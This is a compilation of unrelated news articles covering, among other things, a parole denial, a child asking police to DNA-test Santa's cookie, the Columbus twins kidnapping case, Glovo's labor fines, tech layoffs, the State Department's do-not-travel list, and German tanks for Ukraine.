Former Alabama Chief Justice Sue Bell Cobb is now involved with Redemption Earned, who is representing Harris legal battles. This denial is an injustice and a waste of tax dollars, she said. Cobb continued, They are supposed to ask if someone has been adequately punished. Shes 71 and has served 19 years without violations in 12 years. Then the next question is, Do they pose a risk to public safety? The woman is in a wheelchair and cannot even go to the bathroom by herself. Shes dying and they just denied her parole. It is an injustice. It is shameful.
Girl Asks Police to Help Her Find Out If Santa Is Real Using DNA Test: Were Taking It Just As Seriously As She Is

Cumberland Police Department

Police in Rhode Island are investigating whether Santa Claus and his nine reindeer exist after a young girl submitted evidence that he visited her on Christmas Eve.

The Cumberland Police Department recently received a letter from a young girl with a unique request: to run a DNA test on a partially eaten cookie and carrot to find out if Santa Claus is real.

"Dear Cumberland Police Department, I took a sample of a cookie and carrots that I left for Santa and the raindeer on Christmas Eve and was wondering if you could take a sample of DNA and see if Santa is real?" the young girl's letter read.

Images shared by the department on Facebook showed a half-eaten Oreo cookie, along with two small pieces of carrot.

"Earlier this month, a young investigator from the Town of Cumberland submitted the attached letter requesting a DNA analysis be conducted on the partially eaten cookie, and carrot remains she acquired on the morning of December 25, 2022, for possible DNA evidence of Santa Claus... and/or one of his nine reindeer," the department wrote in a press release on Friday.

RELATED: Santa Claus Is Gay and Falls in Love with a Man Named Harry in Sweet Norwegian Christmas Ad

The department said Chief Matthew J. Benson asked the Investigative Division to deliver the evidence to the State of Rhode Island's Department of Health - Forensic Sciences Unit for analysis.

"This young lady obviously has a keen sense for truth and the investigative process and did a tremendous job packaging her evidence for submission," Benson said in the release. "We will do our very best to provide answers for her."

RELATED: The Heartwarming Backstory of NORAD's Santa Tracker: It All Started With a Newspaper Misprint

On Facebook, residents seemed to approve of the investigation.

"I [love] this story," Rebecca Jean wrote in the comments section of the news release. "Never stop believing in the magic."

Police are awaiting testing results, and they have been in contact with the girl.

Story continues

"While the Cumberland Police Department awaits the testing results, the department has been in contact with this future-CPD Detective and provided her with some already uncovered evidence in support of Santa Claus' presence in her neighborhood the night of December 24th, 2022," the released continued.

RELATED VIDEO: Ryan Reynolds Says His Kids Have Seen Elf Starring Will Ferrell '10,000 Times'

The department said they provided the girl with evidence that Santa was in her neighborhood, including a security camera photo showing a deer with antlers.
John Morrison: I Have Unfinished Business In WWE And At Other Companies

John Morrison has he has unfinished business in WWE and practically every major wrestling promotion in the United States.

Speaking on Insight with Chris Van Vliet, Morrison, who was released by WWE in November, was asked about potentially returning to the company for the Royal Rumble match. He jokingly asked if the event is being held in Saudi Arabia before he noted that you never say never in wrestling. Morrison stated that he has unfinished business in the company, but he has history with wrestlers from various promotions, so it would be great to land in any one of them.

You know, what wouldnt be the worst thing. I mean, imagine how cool that would be for WWE. Where is the Rumble gonna be? Is it gonna be in Saudi Arabia? [Laughs] Never say never, come on. I have a ton of unfinished business. I have unfinished business with my frenemy, The Miz, and with a ton of people on the roster.

In the business of professional wrestling, if you look at the rosters of Raw, SmackDown, NXT, Rampage, Dynamite, IMPACT, MLW, Ring of Honor, NWA, I have personal history and issues with a lot of people on every one of those rosters. So it would be great to go back to WWE. It would be great to go to any one of those rosters because theres a ton of unfinished business, a ton of new matchups, and mostly because I like wrestling.

Since his release, Morrison has wrestled for AAA, AEW, and GCW, among other companies. He recently returned to MLW, and he is set to compete at MLW SuperFight 2023.

RELATED: John Morrison Shares Why His Favorite Opponent Is Taya Valkyrie

The post John Morrison: I Have Unfinished Business In WWE And At Other Companies appeared first on Wrestlezone.
Columbus police say Nalah T. Jackson, 24, seen here at a convenience store in Huber Heights near Dayton, abducted the 5-month-old twin Thomas boys Dec. 19 when she stole their mother's running 2010 Honda Accord from outside the Donatos Pizza in the Short North while she was inside picking up a Door Dash order for delivery. One twin, Ky'air Thomas, was recovered Dec. 20 in child car carrier seat in parking lot at Dayton International Airport. Kason Thomas was recovered Dec. 22 inside his mother's stolen car in parking lot of a pizza shop in Indianapolis, hours after Jackson's arrest by Indianapolis police with the help of two women cousins.

A Columbus woman accused of stealing a car with 5-month-old twins inside last month and setting off a national search will have a federal detention hearing soon, after which her local charges will likely be dismissed, according to Columbus police.

Nalah Jackson, 24, is currently facing kidnapping charges in a federal court in Columbus and similar state charges in a Franklin County court. But a person can only be tried for a crime once.

More:A chance encounter and mother's intuition: How 2 Indy women helped find missing Ohio twin

More:Was lost custody of her son a motive in suspect Nalah Jackson's kidnapping of twins?

A detention hearing in federal court was rescheduled from Tuesday afternoon to Wednesday afternoon, but snow and icy weather forecast Wednesday morning could postpone it further. At that hearing, federal prosecutors will ask the federal judge to order Jackson to remain in jail pending her trial.

After that hearing, "it is anticipated that her state charges will be dismissed," Columbus Division of Police spokesman Sgt. David Scarpitti told The Dispatch.

Franklin County First Assistant Prosecuting Attorney Janet Grubb, who oversees the office's criminal division, declined to comment Tuesday on Jackson's case, saying the matter is under active review.

Jennifer Thornton, a spokeswoman for the United States Attorneys Office of the Southern District of Ohio, said Jackson's case will proceed in federal court.

Jackson was in Franklin County jail on Tuesday on two kidnapping charges filed by Columbus police in Franklin County Municipal Court. The kidnapping charges were filed on Dec. 20 while Jackson and the babies were still missing.

During an initial appearance on the charges on Monday, Franklin County Municipal Court Judge Cynthia Ebner ordered Jackson be held on a $1.5 million bond.

Last week, in federal court, U.S. District Magistrate Judge Kimberly A. Jolson ordered Jackson to be held pending her detention hearing.

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Jackson is accused of taking a Honda Accord on Dec. 19 that Wilhemina Barnett, the mother of 5-month-old twin boys Kason and Ky'air Thomas, had left running with them in the backseat while she went into a Donatos Pizza in the Short North to pick up food to deliver.

Jackson is also facing misdemeanor charges in Franklin County of telecommunications harassment and aggravated menacing from an unrelated incident that occurred in November in Gahanna. Additionally, Jackson is charged with multiple traffic violations, including driving while under suspension and failure to stop at an accident from an incident that occurred on Dec. 2 at the intersection of Route 33 and Frantz Road.

The Office of the Federal Public Defender for the Southern District of Ohio, which is representing Jackson in federal court, and the Franklin County Public Defender's office did not return messages Tuesday left by The Dispatch seeking comment.

jlaird@dispatch.com

@LairdWrites

bbruner@dispatch.com

@bethany_bruner

This article originally appeared on The Columbus Dispatch: Twins kidnapping suspect's local charges likely to be dropped
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NanoSteamer Large 3-in-1 Nano Ionic Facial Steamer Tout

Amazon

There's nothing quite like the feeling of stepping out of the aesthetician's office with that post-facial glow  an even and dewy complexion, clean pores, and a mind at ease. However, booking a repeating appointment isn't always the most cost and time-efficient.

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NanoSteamer Large 3-in-1 Nano Ionic Facial Steamer

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According to New York City-based dermatologist Dr. Hadley King, a facial steamer has many benefits. "When followed by moisturizers, steaming can help to add moisture to the skin," Dr. King tells PEOPLE. She explains that a steamer "can also prime your skin for exfoliation, extractions and targeted treatments," plus "it also helps increase penetration of active ingredients [like retinol and vitamin C] applied topically immediately after steaming."

Dr. King recommends using a facial steamer "once or twice per week, for five to ten minutes" as anything "more than that can dry out the skin." She also suggests that if you have rosacea, you may want to avoid steaming, though. "The heat dilates blood vessels, which will add to redness," Dr. King explains, adding that for "those with eczema or very dry skin, steaming could cause irritation or worsen dryness, so proceed with caution."

Story continues

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Another penalty for Spain's homegrown on-demand delivery app and dark store operator, Glovo -- which has been fined close to 57 million (~$62 million) for breaching local labor laws by falsely classifying 7,800+ of its delivery couriers in Madrid as self-employed, per local newspaper El Diario.

Citing sources familiar with the Labor department's investigation of Glovo, the newspaper reports that the penalty breaks down into a 32.9 million fine for breaking labor laws; 19 million in unpaid social security contributions for the riders it had falsely claimed as self-employed; and 5.2 million for visa violations as the inspectors found Glovo to be employing a number of foreigners without a work permit.

The penalty is just the latest in a string for the 2015-founded Barcelona-based delivery platform. The newspaper puts the running tally at over 200 million.

Most recently Glovo was fined $79 million last September -- also for misclassifying delivery workers as self-employed (so called falsos autonomos) -- in that case for a total of more than 10,000 riders operating across two cities: Its home city and Valencia.

It has also previously racked up smaller fines for labor infractions in other regions, including Tarragona, Girona, Lleida and Seville.

Glovo confirmed the latest sanction. However the delivery platform continues to dispute all penalties for labor law breaches -- and a spokeswoman told TechCrunch it will file an appeal against the latest "penalty proposal", as she couched it.

As has been the general rule for gig economy delivery platforms, Glovo scaled usage of a speedy urban delivery service on the sweat of thousands of couriers it did not classify as employees -- seeking to sprint ahead of laws that were drafted long before the rise of digital platforms and the tight algorithmic management of dispersed workforces that mobile technology enables.

However, as legal challenges by workers and unions have proliferated -- striking a series of blows against a model critics liken to a sweatshop -- lawmakers in Europe have been waking up to tech-fuelled efforts to 'platformatize' the circumvention of labor laws intended to protect workers from exploitation and pushing back.

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Back in 2020, for instance, Spain's supreme court delivered a major blow by ruling against its classification of riders as self employed. And that was followed, in 2021, by the country's lawmakers agreeing a labor law reform intended to force delivery platforms to employ couriers -- the so-called 'Riders Law'.

Spain's coalition government has also recently proposed further reforms -- which could see the bosses of unruly gig economy platforms that flout the law and carry on exploiting workers via self-serving employment misclassifications facing up to six years in jail.

All the sanctions Glovo has so far faced over the falsos autonomos issue relate to the employment model it claimed to be operating prior to the Riders Law entering into force.

Its response since August 2021, when the Rider reform came into force, has not been to end the practice of claiming delivery couriers are self-employed. Rather it says it's adapted its model -- claiming to be compliant despite continuing to operate with scores of 'self-employed' riders doing the hard graft of delivering customers' stuff. (It also appears to use some riders who are sub-contracted and employed by third parties).

This rebooting of the model has led to criticism that Spain's Riders Law isn't working as intended -- along with calls for greater clarity to prevent platforms from using operational tweaks as a tactic to reset legal challenges back to ground zero, leaving workers in the same rights limbo.

Glovo's claims of compliance with the reformed labor rules have yet to be concretely tested. But in comments reported by El Diario Spain's labor minister, Yolanda Diaz, is talking tough on the sector -- warning last fall thaty she will ask the Prosecutor's Office to investigate any "rebellious" multinationals which seek to evade the requirement to hire delivery workers.

The newspaper also reports that the government is looking at how it might prosecute Glovo under the new penal code.

Zooming out, EU lawmakers have also been dialling up their attention on the sector in recent years, following a 2021 proposal by the European Commission to introduce a rebuttable presumption of employment for gig workers across the EU. However the legislative plan continues to divide the bloc's lawmakers and it remains unclear when (or even whether) these disagreements may be resolved (also given there's relatively limited time left for this current Commission) -- a necessary step if the proposal (howsoever it might be amended) is to make it into pan-EU law.

That said, with a number of Member States increasingly active on gig worker rights issues it's clear that pressure on EU lawmakers to find a way to agree harmomized rules -- and prevent further fragmentation of the single market over workers rights -- is unlikely to let up.
Rep. Greg Steube (R-Fla.) said he suffered a fractured pelvis, a punctured lung and several torn ligaments in his neck after falling 25 feet from a ladder on his property in Sarasota, Fla., last week.

I am blessed to have a great support team in my wife Jennifer as well as numerous friends and family, including the Steube pups! Steube said in a tweet, featuring a photo of the recovering congressman and his dogs. Grateful for everyones prayers and well-wishes as I recover.

Steube was cutting tree limbs at his Sarasota property last Wednesday, when he was knocked off a ladder and fell about 25 feet, his office said. The congressman spent the night in the ICU and was eventually released from the hospital on Saturday.

The Florida Republican noted that he will be unable to return to Washington for several weeks as he recovers.

While I will be sidelined in Sarasota for several weeks, I will be carrying out as many of my congressional duties as possible, and our DC and district staff continue to be readily available to assist Floridians in FL-17, he added on Twitter. Im eager to rejoin my colleagues in Washington as soon as possible!

Several House Republicans responded to Steubes latest update with well wishes, including Speaker Kevin McCarthy (R-Calif.).

Were all pulling for you, Greg, McCarthy said in a tweet.

For the latest news, weather, sports, and streaming video, head to The Hill.
Since last fall, its been a layoff bloodbath in the tech industry .

Google parent company Alphabet cut 12,000 employees, just topping Microsofts announced layoffs of 11,000. Salesforce has plans to slash 9,000 employees, while Meta is parting with 11,000. Amazon, meanwhile, is cutting 18,000 people nationwide. Joi

The bruising round of cutbacks, fueled by fears of a recession , may have a big impact on cities with a big footprint like San Francisco, New York, and Seattle, according to observers, where corporate office workers form an important part of the downtown economy.

This downturn in tech is going to be devastating for Washington, and the long-term effects will be quite profound, Jeff Shulman, a marketing professor at the University of Washington, told Bloomberg of the ripple effects from cuts at Microsoft and Amazon, which both have large employee bases in the state. Tech companies have fueled so much growth and change that when they tap on the brakes and go in reverse, it puts everything else in peril.

The cost-cutting at some companies like Salesforce and Meta includes explicit plans to cut down on high-cost real estate , with the latter giving up a recently built Manhattan extension.

In 2022, rental demand was far below historical averages, with San Franciscos office vacancy rate at more than 27 per cent, up from 3.7 before the pandemic, and New York just .4 per cent off the all-time, pandemic-era vacancy record of 19.6 per cent, according to a report from CBRE Group .

In addition to cutting down demand for office space, some worry the layoffs will slow housing demand overall.

If people fear being laid off, they will almost certainly put off new, huge financial purchases  and buying a home is typically the biggest financial transaction of most peoples lives, Compass Chief Market Analyst Patrick Carlisle told The Real Deal .

However, some caution that even in places like the Bay Area, an economic apocalypse isnt inevitable just because of tech layoffs.

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So far, the job growth is positive and the unemployment rates are really very low, although that could change in the near term, Stephen Levy, director and senior economist for the Center for Continuing Study of the California Economy, told the San Francisco Chronicle .

Mr Levy also pointed out that some of the tech layoffs are a result of companies shedding extra staff they took on during a pandemic-era boom, such as Salesforce, which nearly doubled its workforce as companies sought new software solutions.

So if they cut 10,000 they will still be 21,000 over pre-pandemic levels, the economist added.

Still, it could be tough times ahead for landlords, from residential to corporate ones.

Its an extremely difficult time to be a landlord, Ruth Colp-Haber, chief executive officer of brokerage firm Wharton Property Advisors, told Bloomberg . All the costs of running their buildings are increasing, the cost of construction and labor is increasing. Thats all of their daily costs just to open their buildings up for business. Then, on the income side, rents will fall. Its a real witchs brew.
Ricky Middlesworth

Against all odds, The Bachelor is once again rising from the ashes like a beautiful phoenix thats super into polyamory. In other words, Zach Shallcross is about to embark on his love journey, an adventure that will presumably be just as harrowing as it is romantic. Of course, anyone who has watched even a handful of Bachelor seasons knows how this story goes: Zach will meet several dozen women at a weirdly damp mansion, date them all, give out his first impression rose and then do some light traveling soundtracked by women weeping as he breaks up with them one at a time.



But one contestant who seems poised to make it to the finish line? Twenty-four-year-old medical sales representative (classic!) Greer Blitzer. Heres everything we know about Greer from The Bachelorand in case it wasnt already obvious, this article is full of spoilers. But well save them for after our fave trusty GIF of Peter Webers mom Barb, in case youd prefer to avoid em.

Greer Is From the Lone Star State

By which I mean Texas. Specifically Houston. Which is good news, because apparently Zach splits his time between Texas and Orange County. Although actually, ABCs bio writer (never not praying for them) notes that Greer took a risk and moved to New York City, where she loves living life to the fullest, so if she and Zach do make it as a couple, they might have to do long distance.

She Wants a Guy Who Can Keep Up With Her

Is that Zach? Lol, well see! Either way, Greer is loyal and confident and is looking for a partner who can keep up with her quick wit and big personality. Oh, and shes also a hopeless romantic and is a sucker for forehead kisses. Wow, very specific. Anyway, heres what ABC came up with for her fun facts:

 Greer loves to shop at flea markets.

 Greer says she is never embarrassed.

 Greer can tell a lot about someone by their sushi order.

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Noted.

One of Her Friends Is Also on the Show

According to Reality Steve, Greer is on The Bachelor with her BFF Gabriella Gabi Elnicki. Apparently, the pair were in the Pi Phi sorority at the University of Mississippi, where Gabriella was (potentially) Greers big sister.

Ricky Middlesworth

Shes Very Active on Insta

You can follower her @Cheerio_Greerio, where her vibes are this:

Kay, on that note: SPOILERS ARE BELOW BARB.





Greer Gets Zachs First Impression Rose

Which is a big deal and historically means shell make it at least somewhat far in the competition (we actually know exactly how far, so keep reading). Reality Steve was the first to report this news, writing thaton top of giving Greer the first impression roseZach went out to the party bus with a group of girls and at one point was pouring champagne into Greers mouth.

(SPOILER): Greer Blitzer received Zachs first impression rose this season on the first night. pic.twitter.com/d7cmw4hSHG  RealitySteve (@RealitySteve) October 1, 2022

But Shes Eliminated in Hungary

While Greer makes it through six rose ceremonies unscathed, Reality Steve reports Zach breaks things off in Budapest. Theres no intel on what leads to their breakup just yet, but stay tuned for more details. Either way, the split happens right before hometown dates, so Greer *almost* got to introduce Zach to her parents.

Her Friend Gabriella Makes It to the Final 3

Unclear if she wins, but Greers BFF Gabriella makes it to hometowns and Zachs final three, which could potentially be somewhat awkward...or not if everyone is mature and remembers they voluntarily went on a dating show to find love. Either way, keep an eye on Greer, because she seems like future Bachelorette/Bachelor in Paradise material!

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Police march during a ceremony marking Myanmar's 75th anniversary of Independence Day in Naypyitaw, Myanmar, Wednesday, Jan. 4, 2023. Aung Shine Oo/AP

The State Department ranks countries worldwide by their safety level for US citizens.

The countries deemed too dangerous for travel are often known for civil unrest, military actions, and kidnappings.

Avoid traveling to these 19 countries that the US has labeled as "Do Not Travel."

Venezuela

Teachers, other public workers and pensioners march for higher salaries and pensions, and payment of their full benefits on January 16, 2023, in Caracas, Venezuela, where the monthly minimum wage is about $7 dollars. Ariana Cubillos/AP

The State Department cautioned against traveling to Venezuela due to "crime, civil unrest, kidnapping, and the arbitrary enforcement of local laws" as well as "wrongful detentions, terrorism, and poor health infrastructure."

Many Venezuelan migrants have fled to the US to seek asylum from "crimes against humanity," Insider previously reported.

"Violent crimes, such as homicide, armed robbery, kidnapping, and carjacking, are common," the State Department's warning said, adding that there is a "risk of wrongful detention of U.S. nationals."

Iraq

Policemen stand guard outside a polling station during parliamentary elections, in Mosul, Iraq, Sunday, Oct. 10, 2021. Iraq closed its airspace and land border crossings on Sunday as voters headed to the polls to elect a parliament that many hope will deliver much needed reforms after decades of conflict and mismanagement. AP

"Do not travel to Iraq due to terrorism, kidnapping, armed conflict, civil unrest, and Mission Iraq's limited capacity to provide support to U.S. citizens," the State Department has cautioned.

"Terrorist and insurgent groups regularly attack Iraqi security forces and civilians. Anti-U.S. militias threaten U.S. citizens and international companies throughout Iraq."

The US conflict in Iraq post-9/11 has been one of the most deadly, amounting to tens of thousands of deaths, Insider previously reported.

Somalia

Relatives wait for bodies to be removed from the destruction at the scene, a day after a double car bomb attack at a busy junction in Mogadishu, Somalia Sunday, Oct. 30, 2022. Farah Abdi Warsameh/AP

The State Department advised against traveling to Somalia due to "crime, terrorism, civil unrest, health issues, kidnapping, and piracy."

"Violent crime, such as kidnapping and murder, is common throughout Somalia, including Puntland and the Somaliland region. Illegal roadblocks are widespread," the department warned of the East African country, where "terrorists continue to plot kidnappings, bombings, and other attacks."

In October, two car bombings in the country's capital of Mogadishu left over 120 dead and 150 more injured, Reuters reported.

Haiti

A youth suffering from cholera is helped upon arrival at a clinic run by Doctors Without Borders in Port-au-Prince, Haiti, on Oct. 27, 2022. Ramon Espinosa/AP

The US State Department warned of "kidnapping, crime, and civil unrest" in the poverty-stricken country of Haiti.

Story continues

"Kidnapping is widespread, and victims regularly include U.S. citizens. Kidnappers may use sophisticated planning or take advantage of unplanned opportunities, and even convoys have been attacked. Kidnapping cases often involve ransom negotiations and U.S. citizen victims have been physically harmed during kidnappings," according to the department's December 2022 warning.

Hundreds of Haitians have also died due to a cholera outbreak, Insider reported in December.

Ukraine

A wounded woman is seen after an airstrike damages an apartment complex outside of Kharkiv, Ukraine, on February 24, 2022. Wolfgang Schwan/Anadolu Agency via Getty Images

The State Department has warned against travel to Ukraine since Russia launched a full-scale invasion in February 2022.

"Those choosing to remain in Ukraine should exercise caution due to the potential for military attacks, crime, and civil unrest," per the agency.

The Federal Aviation Administration and the European Union Aviation Safety Agency have "prohibited flights into, out of, and over Ukraine due to ongoing military actions."

Afghanistan

Taliban fighters hold weapons as they ride in a convoy to celebrate their victory day at the Bibi Mahro area in Kabul on August 15, 2022 Wakil Kohsar/Getty Images

US citizens should not travel to Afghanistan due to "armed conflict, civil unrest, crime, terrorism, and kidnapping," the State Department said.

"Travel to all areas of Afghanistan is unsafe and the risk of kidnapping or violence against U.S. citizens in Afghanistan is high," according to the department. "The U.S. Embassy in Kabul suspended operations on August 31, 2021. Since that time, U.S. citizens have been unjustly detained."

The department added that its ability to assist detained Americans is "extremely limited."

Yemen

A Yemeni fighter backed by the Saudi-led coalition fires his weapon during clashes with Houthi rebels on the Kassara frontline near Marib, Yemen, June 20, 2021. Nariman El-Mofty, File/AP

Americans shouldn't travel to Yemen because of "terrorism, civil unrest, health risks, kidnapping, armed conflict, and landmines," the State Department said.

"A civil war continues in Yemen. In addition, terrorist groups continue to plot and conduct attacks in Yemen," according to the notice. "Military conflict has caused significant destruction of infrastructure, housing, medical facilities, schools, and power and water utilities."

The US government cannot assist American citizens in emergencies since the US Embassy in Sana'a suspended operations in 2015, according to the department.

Syria

A Green Beret fires at a target during training with Maghaweir al-Thowra fighters at al Tanf Garrison in Syria on March 3, 2020. US Army/Staff Sgt. William Howard

The US warns against traveling to Syria due to "terrorism, civil unrest, kidnapping, armed conflict, and risk of unjust detention," according to the State Department.

The country has endured armed conflict since 2011, the department said, adding starkly that "no part of Syria is safe from violence."

"Protests and demonstrations are quelled by government forces through aggressive tactics and protestors, activists, and political dissenters are routinely detained without access to legal representation or communications with friends and family," the State Department warned.

Sudan

Sudanese demonstrators march in Khartoum, Sudan, Monday, Dec. 26, 2022 to protest a deal signed between the country's main pro-democracy group and its ruling generals, who seized power in an October 2021 coup. Marwan Ali/AP

The State Department placed Sudan on the list due to civil unrest, crime, terrorism, kidnapping, and armed conflict.

"Sudan is experiencing sporadic civil unrest and protests across the country," the department said. "Crime, such as kidnapping, armed robbery, home invasion, and carjacking can occur. This type of crime is more frequent outside of Khartoum."

There is also violence along the borders with Chad and South Sudan, per the agency.

South Sudan

In this Saturday, June 27, 2020 file photo, trainees parade with the wooden mock guns which they use to train with, during the visit of the defense minister to a military training center in Owiny Ki-Bul, Eastern Equatoria, South Sudan. Maura Ajak, File/AP

South Sudan is rife with armed conflict among different political groups and ethnicities, according to the State Department.

"Violent crime, such as carjackings, shootings, ambushes, assaults, robberies, and kidnappings is common throughout South Sudan, including Juba. Foreign nationals have been the victims of rape, sexual assault, armed robberies, and other violent crimes," the department warned, adding that weapons are "readily available" to the population at large.

North Korea (Democratic People's Republic of Korea)

In this photo provided by the North Korean government, North Korean leader Kim Jong Un, center, attends a ceremony of donating 600mm super-large multiple launch rocket system at a garden of the Workers' Party of Korea headquarters in Pyongyang, North Korea Saturday, Dec. 31, 2022. Korean Central News Agency/Korea News Service via AP

The US State Department warned of the "serious risk of arrest and long-term detention of U.S. nationals" in North Korea, calling it a "critical threat."

"All U.S. passports are invalid for travel to, in, or through the DPRK unless specially validated for such travel under the authority of the Secretary of State," the department warned. "The U.S. government is unable to provide emergency services to U.S. citizens in North Korea as it does not have diplomatic or consular relations with North Korea."

Tensions between North Korea and other democratic nations have risen as the country continues to conduct ballistic missile tests.

Libya

Under tight security, Libyans mark the 10th anniversary of their 2011 uprising that led to the overthrow and killing of longtime ruler Moammar Gadhafi in Martyrs Square, Tripoli, Libya. The country has become one of the most intractable conflicts left over from the Arab Spring uprisings. Hazem Ahmed/AP

US citizens should avoid travel to Libya due to "crime, terrorism, civil unrest, kidnapping, and armed conflict," according to the Department of State.

"Crime levels in Libya remain high, including the threat of kidnapping for ransom. Westerners and U.S. citizens have been targets of these crimes," the department said. "Militia or armed groups sometimes detain travelers for arbitrary reasons, do not grant detainees access to a lawyer or a legal process, and do not allow detainees to inform others of their status."

Iran

In this photo taken by an individual not employed by the Associated Press and obtained by the AP outside Iran, Iranians protests the death of 22-year-old Mahsa Amini AP Photo/Middle East Images, File

The State Department warned against travel to Iran due to kidnapping and arbitrary arrests and detentions on "spurious charges." The US doesn't have diplomatic relations with Iran.

"Iranian authorities continue to unjustly detain and imprison U.S. nationals, particularly dual national U.S.-Iranian nationals--including students, journalists, business travelers, and academics--on charges including espionage and posing a threat to national security," the department warned.

Burma (Myanmar)

Police march during a ceremony marking Myanmar's 75th anniversary of Independence Day in Naypyitaw, Myanmar, Wednesday, Jan. 4, 2023. Aung Shine Oo/AP

The State Department cited protests and military actions as reasons not to travel to Burma, adding that at least one US national had been wrongfully detained by the Burmese military.

"Do not travel to Burma due to civil unrest and armed conflict," the State Department warned. "Exercise increased caution due to wrongful detentions and areas with land mines and unexploded ordnance."

Russia

A Russian serviceman in Melitopol, Ukraine, on July 14, 2022. Olga Maltseva/AFP via Getty Images

The State Department has warned against travel to Russia since President Vladimir Putin launched his invasion of Ukraine in February 2022. US citizens in Russia may be harassed, singled out, or arbitrarily detained, the department said.

"The U.S. government's ability to provide routine or emergency services to U.S. citizens in Russia is severely limited, particularly in areas far from the U.S. Embassy in Moscow, due to Russian government limitations on travel, the number of U.S. staff, and the ongoing suspension of operations, including consular services, at U.S. consulates," the department said.

Mali

Soldiers stand guard in front of the Radisson Blu hotel prior to the visit of Malian President Ibrahim Boubacar Keita in Bamako, Mali, Nov. 21, 2015. Jerome Delay, file/AP

The State Department warned against travel to Mali because of crime, terroristic threats, and kidnapping.

"Violent crime, such as kidnapping and armed robbery, is common in Mali. Violent crime is a particular concern during local holidays and seasonal events in Bamako, its suburbs, and Mali's southern regions. Roadblocks and random police checkpoints are commonplace throughout the country, especially at night," the department said.

Central African Republic

The streets of Bangassou, Central African Republic, remain empty on Feb. 13, 2021, as most residents fled when rebels attacked with heavy weapons on Jan. 3. Adrienne Surprenant, File/AP

US citizens should avoid travel to the Central African Republic due to crime, civil unrest, kidnappings, and the embassy's limited capacity to provide support to US citizens, the State Department warned.

"Although there have been no specific incidents of violence or threats targeting U.S. citizens, civil unrest, demonstrations, and election-related violence (including renewed outbreaks of armed conflict) may occur throughout the country, including the capital of Bangui," the department said. "Violent crime, such as armed robbery, aggravated battery, and homicide, is common."

Burkina Faso

Special forces soldiers carry the flag-drapped coffins of late special forces soldiers Cedric de Pierrepont and Alain Bertoncello, who were killed in a night-time rescue of four foreign hostages including two French citizens in Burkina Faso last week, during a national tribute at the Invalides, in Paris, Tuesday, May 14, 2019. Philippe Wojazer/Pool Photo via AP

Terrorism, crime, and kidnapping should ward US citizens off from travel to Burkina Faso, according to the State Department.

"Terrorist groups continue plotting attacks in Burkina Faso," the agency said. "Kidnapping and hostage taking is a threat throughout the country. On May 10, 2019 a hostage rescue operation freed four international hostages that had been kidnapped in Burkina Faso and in neighboring Benin."

The US is not able to provide emergency assistance to its citizens in the country, the department added.

Belarus

In this handout photo taken from video released by Russian Defense Ministry Press Service on Wednesday, Dec. 28, 2022, Russian soldiers take part in drills at an unspecified location in Belarus. Russian Defense Ministry Press Service via AP

The State Department warned against travel to Belarus in eastern Europe due to "arbitrary enforcement of laws, the risk of detention, the Russian military attack on neighboring Ukraine, and the buildup of Russian military in Belarus along the border with Ukraine."

"Due to Russia's unprovoked attack on Ukraine from Belarus, U.S. citizens located in or considering travel to Belarus should be aware that the situation is unpredictable and there is heightened tension in the region," the department said.

Read the original article on Insider
Germany has reportedly bowed to international pressure and agreed to send tanks to Ukraine to bolster the war effort against Vladimir Putin.

Berlin is expected to send Leopard 2 tanks to help fight Putins forces following a plea from Volodymyr Zelensky.

While there has been no official confirmation from Berlin yet, officials in Kyiv swiftly hailed what they said was a potential gamechanger on the battlefield.

A few hundred tanks for our tank crews - the best tank crews in the world, Andriy Yermak, the head of Ukrainian President Zelenskys administration, wrote on Telegram. This is what is going to become a real punching fist of democracy against the autocracy from the bog,

Kyiv has pleaded for months for Western tanks that it says it desperately needs to give its forces the firepower and mobility to break through Russian defensive lines and recapture occupied territory in the east and south.

It comes as the family of one of two British volunteers missing in Ukraine confirmed they have been killed.

Key Points

Putin could face ruin if spring offensive fails

Several Ukraine officials resign posts after Zelensky orders corruption clamp down

Ukraine pledges sweeping personnel changes amid corruption claims

Ukraine sanctions 22 associated with Russian Orthodox Church

Boris Johnson trip to Ukraine paid for by taxpayers, confirms No 10

Spring could be decisive in war

11:45 , Matt Mathers

Front lines in the war have been largely frozen in place for two months despite heavy losses on both sides.

Western countries pledged billions of dollars in military aid last week, but have yet to respond to Kyivs request for hundreds of heavy battle tanks, which it says it needs to break through Russian lines and recover occupied territory.

Most defence experts say the most suitable tanks available in sufficient numbers are German-made Leopards. But Berlin has so far held back from sending them, or from committing to let allies such as Poland send them.

Story continues

Germany was not blocking the re-export of Leopard tanks to Ukraine, the European Unions top diplomat said on Monday.

Ukraine and Russia are both widely believed to be planning spring offensives to break the deadlock in what has become a war of attrition in eastern and southern Ukraine.

"If the major Russian offensive planned for this time fails, it will be the ruin of Russia and Putin," Vadym Skibitsky, deputy head of Ukraines military intelligence, said in an interview with news site Delfi.

US could announce Abrams tanks for Ukraine, officials claim

19:34 , Andy Gregory

The United States could be poised to announce a decision to send Abrams tanks to Ukraine, sources have suggested to multiple outlets.

Such a decision by Joe Bidens administration chime with similar unverified claims coming out of Germany this evening  and anonymous officials have suggested that a simultaneous announcement could be made this week.

It was suggested last week, after a summit failed to break the deadlock on whether Germany would permit allies to re-export Leopard 2 tanks to Ukraine, that it could do so were Washington to ease its own reluctance to sending Abrams tanks.

Officials in Washington suggested that details there are still being worked out, with one reported as saying that Abrams tanks could be bought under its upcoming $850m Ukraine Security Assistance Initiative package  which also includes a Patriot missile defence system.

Germany to send company of tanks to Ukraine after pressure from allies

18:46 , Andy Gregory

Germany has decided to send a convoy of its main battle tanks to Ukraine, reports suggest, after days of pressure from Berlins allies.

Ukraine and many of Berlins Nato partners have been pleading for a decision on whether Germany would permit them to send German-made Leopard 2 tanks to help Kyiv as the battlefield begins to thaw.

Der Spiegel reported on Tuesday evening that chancellor Olaf Scholz had finally decided to allow allies such as Poland to do so  and that Berlin would also send tanks of its own.

Germany 'to send company of tanks to Ukraine' after pressure from allies

Claims Treasury allowed Wagner founder to take UK journalist to court will be looked at carefully

17:57 , Andy Gregory

Allegations that the Treasury helped the founder of Russias Wagner mercenary group circumvent sanctions and take a British journalist to court will be looked into very carefully, a minister has suggested.

OpenDemocracy reported yesterday that a Treasury team gave Wagner Group boss Yevgeny Prigozhins lawyers permission to sue a Bellingcat journalist in the UK in 2021 while the Russian oligarch was subject to sanctions.

Lib Dem MP Layla Moran raised the allegations in the Commons today as MPs debated the governments economic crime bill, asking business minister Kevin Hollinrake whether the report had been investigated, adding: This is sanctions that we imposed, and yet somehow we are not imposing them in practice. This isnt right.

The minister replied: I think it would be wrong to make any representations on any particular case, but anybody who seeks to enable somebody to avoid sanctions, clearly that is entirely unacceptable.

